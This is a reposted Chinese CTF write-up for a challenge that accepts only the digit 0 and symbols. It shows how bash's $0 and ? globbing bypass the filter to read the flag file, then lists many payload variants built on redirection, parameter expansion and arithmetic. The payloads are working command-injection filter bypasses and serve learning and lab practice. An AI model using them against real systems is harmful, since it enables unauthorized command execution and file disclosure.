文章总结: 本文档解析了数字0奇迹靶场WP。针对仅允许数字0及特殊符号的限制,作者利用$0代表Bash的特性配合通配符,构造命令通过执行非脚本文件触发报错读取了flag。文章还发散了利用文件描述符和重定向的Payload变体,展示了Linux特殊字符在命令注入绕过中的应用。 综合评分: 88 文章分类: CTF,WEB安全,渗透测试,漏洞POC
1. 文件描述符类(带 0)
. /???/????.???>&0 # 重定向到 stdin
. /???/????.???<&0 # 从 stdin 读
. /???/????.??? 0>&0 # fd 0 重定向
$0 /???/????.??? # bash 执行
$0</???/????.??? # stdin 重定向
. /???/????.???|$0 # 管道给 $0
. /???/????.???||$0 # 逻辑或
. /???/????.???&&$0 # 逻辑与
$0 /???/????.??? 0>&0
2. 带 $0 的变体
$0 /???/????.??? # 经典解法
${0} /???/????.??? # 花括号写法
"$0" /???/????.??? # 引号包裹
($0 /???/????.???) # 子 shell
3. 分号/管道 + 0
. /???/????.???;0 # 你发现的
. /???/????.???|0 # 你发现的
. /???/????.???;$0 # source 后执行 bash
. /???/????.???&$0 # 后台执行
4. Here-string / Here-doc(带 0)
$0<<<0 # 简单测试
$0<&0</???/????.??? # 组合重定向
$0 0<<<. /???/????.??? # 变体
5. 数组/切片相关(带 0)
${!0} # 间接引用
${0:0} # 切片
${0:0:0} # 空切片
${0:0} /???/????.???
${0%%0} /???/????.???
${@:0} /???/????.??? # 参数数组切片
${*:0} /???/????.??? # 同上
6. 算术展开(带 0)
. /???/????.???;$((0)) # 算术展开得 0
$0 /???/????.??? $((0)) # 传参
$0 /???/????.??? $((0+0)) # 0+0=0
. /???/????.???;$((0)) # source 后执行算术
$0 /???/????.??? $[0] # 旧式算术展开
7.进程替换(如果支持)
bash
$0 <(. /???/????.???) 0 # 进程替换
全部都是0~那密密麻麻的0,我只在成都见过
总结可能的 payload
| Payload | 说明 |
| — | — |
| $0 /???/????.??? | bash 执行文件 |
| . /???/????.???;0 | source + 执行 0(报错) |
| . /???/????.???|0 | source + 管道给 0 |
| . /???/????.???>&0 | source + 重定向到 fd 0 |
| . /???/????.???<&0 | source + 从 fd 0 读 |
| $0</???/????.??? | bash 读取文件作为输入 |
题目设计得很巧妙,强制用 0 既是限制也是提示!
参考资料
- • Bash Special Parameters[1]
- • Shell Globbing[2]
- • GTFOBins – Unix Binaries Bypass[3]
- • Linux命令大全-菜鸟教程[4]
- • Linux 特殊字符详解:从基础到实践[5]
- • Linux 终端特殊符号含义大全[6]
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚
引用链接
[1] Bash Special Parameters: https://www.gnu.org/software/bash/manual/html_node/Special-Parameters.html
[2] Shell Globbing: https://tldp.org/LDP/abs/html/globbingref.html
[3] GTFOBins – Unix Binaries Bypass: https://gtfobins.github.io/
[4] Linux命令大全-菜鸟教程: https://www.runoob.com/linux/linux-command-manual.html
[5] Linux 特殊字符详解:从基础到实践: https://geek-blogs.com/blog/linux-special-characters/
[6] Linux 终端特殊符号含义大全: https://blog.csdn.net/qq_42059060/article/details/130787026
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:泷羽Sec-静安 泷羽Sec静安 泷羽Sec静安《好靶场-数字0的奇迹-WP》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论